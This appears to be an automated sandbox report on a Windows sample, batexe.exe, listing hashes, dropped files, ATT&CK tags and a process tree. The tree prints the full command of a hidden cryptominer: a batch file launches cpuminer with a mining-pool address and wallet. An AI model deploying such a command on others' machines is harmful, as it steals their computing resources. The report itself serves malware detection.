73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
296s
max time network
300s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
11/02/2024, 17:43

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4492	b2e.exe
764	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
764	cpuminer-sse2.exe
764	cpuminer-sse2.exe
764	cpuminer-sse2.exe
764	cpuminer-sse2.exe
764	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2732-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2732 wrote to memory of 4492	2732	batexe.exe	74
PID 2732 wrote to memory of 4492	2732	batexe.exe	74
PID 2732 wrote to memory of 4492	2732	batexe.exe	74
PID 4492 wrote to memory of 4688	4492	b2e.exe	75
PID 4492 wrote to memory of 4688	4492	b2e.exe	75
PID 4492 wrote to memory of 4688	4492	b2e.exe	75
PID 4688 wrote to memory of 764	4688	cmd.exe	78
PID 4688 wrote to memory of 764	4688	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2732
- C:\Users\Admin\AppData\Local\Temp\10A5.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\10A5.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\10A5.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\15B6.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4688
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\10A5.tmp\b2e.exe

Filesize
4.1MB

MD5
d616799e05c53beba78c647d8464fa9e

SHA1
697482be73197b747f538df738945db91fae3aab

SHA256
a0b914762382ff77f18dc42baf2c87196fffa5ec7ff2d63f02989b454b619ea2

SHA512
90172e49b3eb22ec68cbf1ff82e50470e31918cfc17303a44aff3e14277e80dcbeaf7649cb0b642848af9c1718885b637c1a080bd83d3cec50feeb75275a0812

Download Submit
C:\Users\Admin\AppData\Local\Temp\10A5.tmp\b2e.exe

Filesize
5.1MB

MD5
3065ba287df1f7f3e9a48f1eb846c9a0

SHA1
0590ff7ba1d0ac75fea47c92bdcbb373e0d3a3c3

SHA256
5a435e5524beff912e8fd51a8d7359a4166407ef9920094abf76e3093fb4fd97

SHA512
c62f168de45aba51d5e129d9b617602df7202a798b6c45b6f673b8d6fb1d1c5d5349870fbfaef255f1f3c59f9e4b469249645d809e478f08aeb964bee9cb5b6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\15B6.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
465KB

MD5
0bf67c92c7e495d40f387807d483bf60

SHA1
83486e6a98ced31243ea7da01903fbc6079c8524

SHA256
cde2a205c89027c81c79f3013cbd34df5efaadc2f988ca1fbca44b60189dabe5

SHA512
96193924362e4e10f36628cdddb6e6adb2ebd22ca24e61d3672fc1fb0e3bd64e3f16cb3985a751e1efc7b07078fe79a9bf309df2c18375549b30faea4975c484

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
401KB

MD5
37528829411f1e1d2ae4d3c4901b6433

SHA1
468e7b5c55a3c076ecd430724ff87482261a99c9

SHA256
2328fe7ad2e267dc819911624cb400faa1e9ffb510281b8f67a4eb571cd2bb78

SHA512
0e27cd5c5b18c93fe6e751e4a0b98f634c1a5b7f6d7284dde725e3efa2fa7f3f47bf1c7a0b6a2cbf71297603bf27b983f5210f4e9567880875b05af113ae91ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
474KB

MD5
94481c0bbf74791a300779c5ec44d08c

SHA1
043c9532ae4b40cdba9a4117a6abc009fd64907f

SHA256
af1a31d7cdf576fd20c242a6d9fde1e8aa7a86c2b76390c8a45b739b37ad392e

SHA512
f3d78f3a9558c236e8db0e5c1f26a6ffb0f71e8f5c9f018b66c21671c60565b939b04d6fb77b7b0770f976ca4800faf39bf8691e59fd57b79da7edebe7a6884e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
64KB

MD5
7fcedb6e973c5df3b6652a2afafa6a13

SHA1
116728803559ab58a8127544df80b75a0dd1c6d2

SHA256
fd7191afdecd35b78a0c0ca0457cbbf42ffda1e52263cd785abca5f047b18825

SHA512
05c86bf84079a2cc13dc7a1a917a0839ccd2b18e0440c4bd419c99f65c4161ac69a9447f56bdf6051b2fbbc49b7556fc3717432d0e293dfae2921c0701fe64fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
402KB

MD5
473554c5f5dd467d2a0a164ccc2732a1

SHA1
39a28c702e32fc10af44e7e61a826a3bf9d212c6

SHA256
03d6c981729eb09a5776f2660899d73bd2187b88ff297c64543e47e2a949f93e

SHA512
15add2d521dae8046f3b45a3fb38020f774a17d641e118677aa2c7c24667008c449c16272c9769325aff4377fe77ff0b67573a5a99be9f2464fcb8a6b296d7ae

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
281KB

MD5
309bb82de3a75ba310922d4b02388d4f

SHA1
a3c24d7aaa0ef7b3077d0f21f20b35f435638c37

SHA256
c81af00adbc8061f6e0a8cee5a1e2ae1228cf2caf15d4cb7bacfe41b1f3093b3

SHA512
d4bedc5c62b3afbb5a99280a802283a6ea25df41639e444d4ee314cabbaf1c81e1abe2c11f113ab0d2c3ce48cbb8697d8c84ca5a33a93a8d0df08ccb4c679b6b

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
390KB

MD5
1b6d66fb875413dcc421c011d7d0f2dd

SHA1
0a844e5b835b8898fb1d740b044b4b82d5010c08

SHA256
77d5f9499bc00b31dce31257f5ad3ff9258c82f25e1232e5e674ab3adc00b095

SHA512
ebaa79cd7d92df01cab97ec7c492519f84ad1e950b8ce73940b94dea0c12b12feeaff80654075b4a1aa5d251d117000edfa75258571accee56008c5daa402b4e

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
333KB

MD5
bd50035709bb7cf253ccf685fc9a5533

SHA1
a3341d4982b3e0410f798636271c7eee856c7104

SHA256
a5183df0ec16623b0bdf5961f9105be248cc0dd291c54928555db8a6d8ba6235

SHA512
fe7b03d631b45af31f230bc6c8e2a00301539319faa940370df416c36b9bf53b78bf840d77fa4e6431d8372b9760ae7c5016f5f0aee3cd8be7bb6904f0249765

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
309KB

MD5
0923763e701eeb21be65358e06d2e07a

SHA1
384593ab5f0470e632dd1a953ad55c40362e0ebf

SHA256
efcd1d9ce488dfd736801656956e753faa7daa32e54f3698a6a4ec7641be35a2

SHA512
59b412cb6053b77c7682e35050f1f53b41da7ab87a638d83978b5c562d299f3004c8c2c032e9e46bf8fe1bf3e80bd8e8d75f55b7f0ce15423a3f96497198f309

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
242KB

MD5
a59c3d0aad76549a7c31f4405a2bb419

SHA1
b51babb0525a48552c9b469a4eedb729085975ec

SHA256
0ab5ed7d6d81f67614525d20722a68a5babe3f2f2b56bedd7f7385a3b60dfe45

SHA512
753e84b38f93c372b11891e0c8b1e99d933a6406430fe0f65431428c455754c6b7a8c4f99fc287c18bee3139e4255eb6c886939800907d4dd9210baefc920e86

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
341KB

MD5
88722e12f47ae0d1f95073118d5ccd90

SHA1
47d2a831d71620029dab4a08d394c70b3b394779

SHA256
2820a957cdca1611644ffe8385ff9339a89ea3ddfc5ce2a69338140abd0f4813

SHA512
885b73a6d16fce6c003b45a3dd983b5e1a8206fcc5fab14140a8bc550c50ac17fff384aa7e90feecdfa249609a0d0449d28a848ec352ab22d60adf5c4b459f12

Download Submit
memory/764-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/764-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/764-42-0x0000000068830000-0x00000000688C8000-memory.dmp

Filesize
608KB

Download
memory/764-44-0x0000000001130000-0x00000000029E5000-memory.dmp

Filesize
24.7MB

Download
memory/764-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2732-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4492-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4492-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download